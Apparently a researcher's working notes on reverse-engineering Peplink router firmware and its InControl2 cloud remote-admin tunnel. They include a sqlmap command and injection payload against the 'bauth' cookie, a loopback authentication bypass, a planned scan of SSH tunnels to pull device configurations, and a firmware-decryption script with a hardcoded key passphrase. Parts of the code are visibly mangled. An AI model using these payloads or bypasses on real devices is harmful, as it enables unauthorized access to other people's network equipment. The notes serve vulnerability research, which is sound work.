CGI handlers implement the main request logic. The device uses a 32-bit x86 architecture.
CODE
index.cgi: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.28, stripped
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Most binary protections are disabled.
Two main CGI binaries, index and cgibox, handle most of the application logic. Most CGI paths are symlinks to one of them, so these binaries and their shared libraries are the primary analysis targets.
./sqlmap.py -u "https://ip/cgi-bin/MANGA/admin.cgi" --cookie="bauth=csOWLxU4BvoMfhY2rHLVFm1EmZWV74zinla9IVclqrYxH16426647" -p"bauth" --level 5 --risk 3 --dbms sqlite --technique=BEUSQ --flush-session -t trace.log --prefix "'" --suffix "--" -a
...
sqlmap identified the following injection point(s) with a total of 258 HTTP(s) requests:
---
Parameter: bauth (Cookie)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: bauth=-5663' OR 9790=9790--
---
Request processing
Authentication:
Submitted request:
CODE
POST /cgi-bin/MANGA/api.cgi
{"username":"admin","password":"dasd","func":"login"}
Because api.cgi is a symlink to cgibox, I followed the authentication logic from the cgibox main function.
Authentication checks for the corresponding bauthid file under /tmp/session/.
Certificate handling was another potential vulnerability candidate:
GET /cgi-bin/MANGA/data.cgi?option=sysinfo&_=1714450525371 HTTP/1.1
Host: 14.0.138.49
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://14.0.138.49/cgi-bin/MANGA/index.cgi?mode=config&option=utsysinfo
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: pauth=8oc6tUMU6gozpf5r79SOTAUAZuMVZgS5x4aWPOJU59jtf
Connection: close
The device looks up the supplied cookie in the session database. A matching entry authenticates the request. Otherwise, it checks whether REMOTE_ADDR is 127.0.0.1: a loopback request causes a session to be inserted, while other requests fail authentication. A successful login also inserts a session.
X-Forwarded-For handling was not enabled.
Endpoint permissions
PYTHON
import ida_bytes
defget_cginame(address):
# Read the memory referenced by the pointer.
string_pointer = address # Read a 64-bit pointer.if string_pointer != 0:
buffer = bytearray()
max_length = 100# Limit the read length.# Read until a null byte or the length limit.for i inrange(max_length):
byte = ida_bytes.get_byte(string_pointer + i) # Read one byte.if byte == 0:
break# Stop at the null terminator.
buffer.append(byte) # Append the byte to the buffer.# Decode the collected bytes as text.
string_content = buffer.decode('utf-8') # Assume UTF-8 / ASCII.return string_content
defget_function(address):
return ida_bytes.get_qword(address)
defget_auth_check_flag(address):
return ida_bytes.get_dword(address)
defget_auth_check(address):
return ida_bytes.get_qword(address)
if __name__ == "__main__":
start_addr = 0x000041F358
end_addr = 0x0000000000041F8B0
tmp = start_addr
while tmp <= end_addr:
pointer_address = tmp
cgi_name = get_cginame(pointer_address)
func = get_function(pointer_address+0x40)
#if auth_check == 1:print(cgi_name,hex(func))
tmp += 0x50
Observation: knowing the device identifier allows a device to be bound through the cloud platform, granting management access.
The authentication-related fields are:
CODE
_littlecloud_session=d40d1f7a4c285bb83f6876f3161aa121;
Knowing `_littlecloud_session` exposes the following two fields:
Set-Cookie: _rwa_session_ic_293C-B16D-AAB1=C6qPYREH8uCuT6Ypf3+TYLOK6NfvFe3qa1tUKrz9ZQ1Ya32mcWF77U+9qeU6oAPR; Path=/; Domain=.peplink.com; Expires=Tue, 07-May-2024 03:32:36 GMT; Max-Age=3600; Secure; SameSite=None
Set-Cookie: pauth=n17virz2c3o3RywX3sAyvYFJlJbwQyb4y9qJyZLD19FHy; HttpOnly; SameSite=Strict;
Additional observations:
CODE
Set-Cookie: pauth=n17virz2c3o3RywX3sAyvYFJlJbwQyb4y9qJyZLD19FHy; HttpOnly; SameSite=Strict;
This `pauth` value works and is inserted into the session database. An ordinary session is not inserted after a failed login. I therefore suspected an undocumented account, possibly derived from the device identifier. This remained a hypothesis.
The firmware returns this field during login, and the corresponding code can be located. My working hypothesis was that the cloud backend could obtain a management login using the device ID, while a local request could authenticate with the returned cookie. I found no firmware code setting or validating rwa_session_ic, suggesting that it belonged to the platform. The tentative model was:
The device ID is bound to a LittleCloud session.
The platform obtains a usable cookie using the device ID.
rwa_session_ic may correspond to a changing request field on the platform. It did not appear to be an access token. An undocumented access mechanism was suspected, but not established.
CODE
v2 = check_auth_loop();
if ( !(_DWORD)v2 )
goto LABEL_10;
v3 = sub_410D30(); // Second authentication check.
if ( (_DWORD)v3 )
{
cgi_init_headers(v3);
v4 = "start_shellinaboxd.sh web_cli admin";
goto LABEL_4;
}
Working conclusion:
An undocumented management-access path might exist in an endpoint or another port. Its mechanism still required verification.
Platform requests to webcli.cgi appeared to require only the platform's own session.
This process might forward tunnel traffic. It could also explain why an already bound device could not be bound again: a single SSH account may connect back to the server.
I therefore captured traffic to the observed egress IP, 104.248.96.24.
Capturing local traffic:
CODE
tcpdump -i lo tcp -v -r 777.pcap
Requests appeared to bypass normal validation when REMOTE_ADDR=127.0.0.1.
Observed traffic flow:
user requests -> couldserver -> ssh_sock -> localhost -> ssh_sock -> user response
The firmware appeared to return a usable cookie when it recognized a request as local.
Open question:
What request does the cloud service send to the device during its initial binding?
Hypothesis:
The device ID is combined with .rwa21.peplink.com, for example:
293c-b16d-aab1-ic.rwa21.peplink.com
This suggested that some device-side service receives the binding request, with a corresponding database record on the cloud server.
Candidate attack surface one:
Investigate the SSH credentials and whether ssh_sock provides a shell connection.
Candidate attack surface two: locate the suspected undocumented firmware path and clarify its authentication logic.
WTP appears to control traffic returned by ic2.
WTP starts SSH, suggesting that the corresponding UDP port is externally reachable.
Working request-flow model:
A user requests the device-specific cloud endpoint. The cloud service processes the request and forwards it to rwa21.peplink.com. An SSH remote-forwarding port relays it to port 80 on the device, then to its CGI handler. The handler sees a local request and bypasses the usual authentication check, creating the suspected unauthorized-access path.
Redrawn · Remote administration sketch (schematic)
The device appeared to initiate the connection, but the wake-up mechanism was unknown. WTP analysis was still in progress.
CODE
GET /cgi-bin/MANGA/admin.cgi HTTP/1.1
Host: 127.0.0.1
WEB-ADMIN-ACCESS-MODE: RW
WTP analysis
Additional request headers in wget_ext_hdr indicated that the traffic passes through WTP processing.
The device identifier was found in pismo_board:
The following shared libraries were analysis targets:
Redrawn · Login and relay selectionRedrawn · Request forwarding path
Redrawn · Response return path
How does https://incontrol2.peplink.com/login determine which SSH-server port to connect to?
Redrawn · Session-to-forwarding-port mapping
ATTACK:
Redrawn · Direct tunnel connection hypothesis
Remote wake-up
Testing showed that the device supports a remote wake-up mechanism.
tcpdump -i usb0 udp and host 35.167.224.48 -r 888.pcap -v
Traffic arriving through WTP also appeared to bypass authentication. The connection model seemed to involve an initial outbound connection followed by inbound traffic over that connection.
The device appeared to connect outward to receive packets.
There were indications that the connection could be influenced:
I found the following background on OpenCAPWAP WTP:
Site Unreachable
Experimental attack design
At this stage, the experiment supported a man-in-the-middle position.
Precondition: an administrator uses REMOTE_WEB in the IC2 platform, creating an SSH tunnel. Requests delivered through that tunnel reach the device without the usual authentication context.
Proposed experiment:
Use a script to connect to the SSH tunnel and probe for an open forwarding port. If present, use the observed vulnerability to retrieve a configuration file and compare it with previously collected records, storing only new results. Repeat the observation after an interval.
Alternative approach:
Investigate the AC program for a potential unauthenticated RCE path.
An expired, unbound device remained accessible through a direct link in the experiment.
Combined with the endpoint that returns a device serial number, this appeared to create an unauthorized-access opportunity.
Listed as unavailable, but still reachable:
CODE
[Remote Web Admin](https://293b-1f42-5138-ic.rwa21.peplink.com/)
CODE
GET /cgi-bin/MANGA/index.cgi?option=incontrol_redirect&mode=submit HTTP/1.1
Host: 121.202.249.2
Connection: close
sec-ch-ua: "Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: bauth=eGL5waMyWYQeIXgQHDxqWUYQQiCP2Tu7rf3ShPrgD8mf4
Device-move endpoint:
Only devices in the current group could be moved. I did not test moving another user's device because of the risk to that device.
This returns a connection port.
The returned port can then be used for the connection; it appears that the port must first be opened.
The allocated port changes each time, but the parameters must match the serial number.
#!/usr/bin/env python3import os
import hashlib
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5, AES
from Crypto.Util.Padding import unpad
defevp_bytestokey(password: bytes, salt: bytes, key_len=32, iv_len=16):
"""
Reproduce OpenSSL EVP_BytesToKey derivation (MD5, one iteration).
"""
d = d_i = b''whilelen(d) %3C key_len + iv_len:
d_i = hashlib.md5(d_i + password + salt).digest()
d += d_i
return d[:key_len], d[key_len:key_len+iv_len]
defmain():
fw_path = "firmware.bin"
rsa_key_path = "rd"
out_path = "firmware_decrypted.bin"print("[*] Starting Peplink firmware decryption...")
# 1. Load the RSA private key using the recovered hardcoded passphrase.print(f"[*] Loading RSA private key: {rsa_key_path}")
try:
withopen(rsa_key_path, 'rb') as f:
rsa_key = RSA.import_key(f.read(), passphrase="NTM1NjgxaZ")
cipher_rsa = PKCS1_v1_5.new(rsa_key)
except Exception as e:
print(f"[-] Failed to load RSA private key: {e}")
return# 2. Read the encrypted firmware.print(f"[*] Reading firmware: {fw_path}")
withopen(fw_path, 'rb') as f:
fw_data = f.read()
# 3. Scan for the encrypted block's base offset.print("[*] Scanning the firmware header for the encrypted block base offset...")
sentinel = b"RSA_DECRYPT_ERROR"
base = -1
passphrase = b""# Determine the RSA block size: 256 bytes for 2048-bit keys, 512 for 4096-bit keys.
rsa_block_size = cipher_rsa._key.size_in_bytes()
print(f"[*] RSA key length: {rsa_block_size * 8} bits")
# Scan the first 64 KB for the correct start offset.for i inrange(0, 65536):
rsa_block_start = i + 4
rsa_block_end = rsa_block_start + rsa_block_size
rsa_block = fw_data[rsa_block_start : rsa_block_end]
iflen(rsa_block) != rsa_block_size:
breaktry:
# Attempt RSA private-key decryption.
decrypted_raw = cipher_rsa.decrypt(rsa_block, sentinel)
# A result other than the sentinel passes the initial decryption check.if decrypted_raw != sentinel:
# Check that the passphrase is printable ASCII, usually ending in a newline.ifb'\n'in decrypted_raw:
base = i
print(f"[+] Found base offset: {base} (0x{base:X})")
passphrase = decrypted_raw.split(b'\n')[0]
breakexcept ValueError:
# Skip offsets that produce a "Ciphertext too large" error.continueexcept Exception:
# Handle other decryption exceptions.continueif base == -1:
print("[-] No matching offset found. The block may be further into the file, or the file may be damaged.")
returnprint(f"[*] Passphrase recovered from the RSA block: {passphrase.hex()} ({passphrase!r})")
# 5. Extract the salt and derive the AES key and IV.
salt_start = base + 522
salt = fw_data[salt_start : salt_start + 8]
print(f"[+] Salt: {salt.hex()}")
aes_key, aes_iv = evp_bytestokey(passphrase, salt)
print(f"[+] Derived AES-256 key: {aes_key.hex()}")
print(f"[+] Derived AES-256 IV: {aes_iv.hex()}")
# 6. Decrypt the firmware payload.# The ciphertext follows the salt at base + 530.
ciphertext_start = base + 530
ciphertext = fw_data[ciphertext_start:]
print(f"[*] Decrypting payload ({len(ciphertext)} bytes)...")
cipher_aes = AES.new(aes_key, AES.MODE_CBC, aes_iv)
plaintext_padded = cipher_aes.decrypt(ciphertext)
# Remove PKCS7 padding.try:
plaintext = unpad(plaintext_padded, AES.block_size)
except ValueError:
print("[-] Padding removal failed. The key may be incorrect or the file may contain an unencrypted trailer. Saving the unpadded result as-is.")
plaintext = plaintext_padded
# 7. Write the decrypted file.withopen(out_path, "wb") as f:
f.write(plaintext)
print(f"[+] Firmware decrypted and saved to: {out_path}")
# Optionally inspect the first bytes to identify the file type.
file_magic = plaintext[:4]
print(f"[*] Decrypted file magic: {file_magic.hex()} ({file_magic!r})")
if __name__ == "__main__":
main()
A null byte in the password caused a truncation issue during decryption.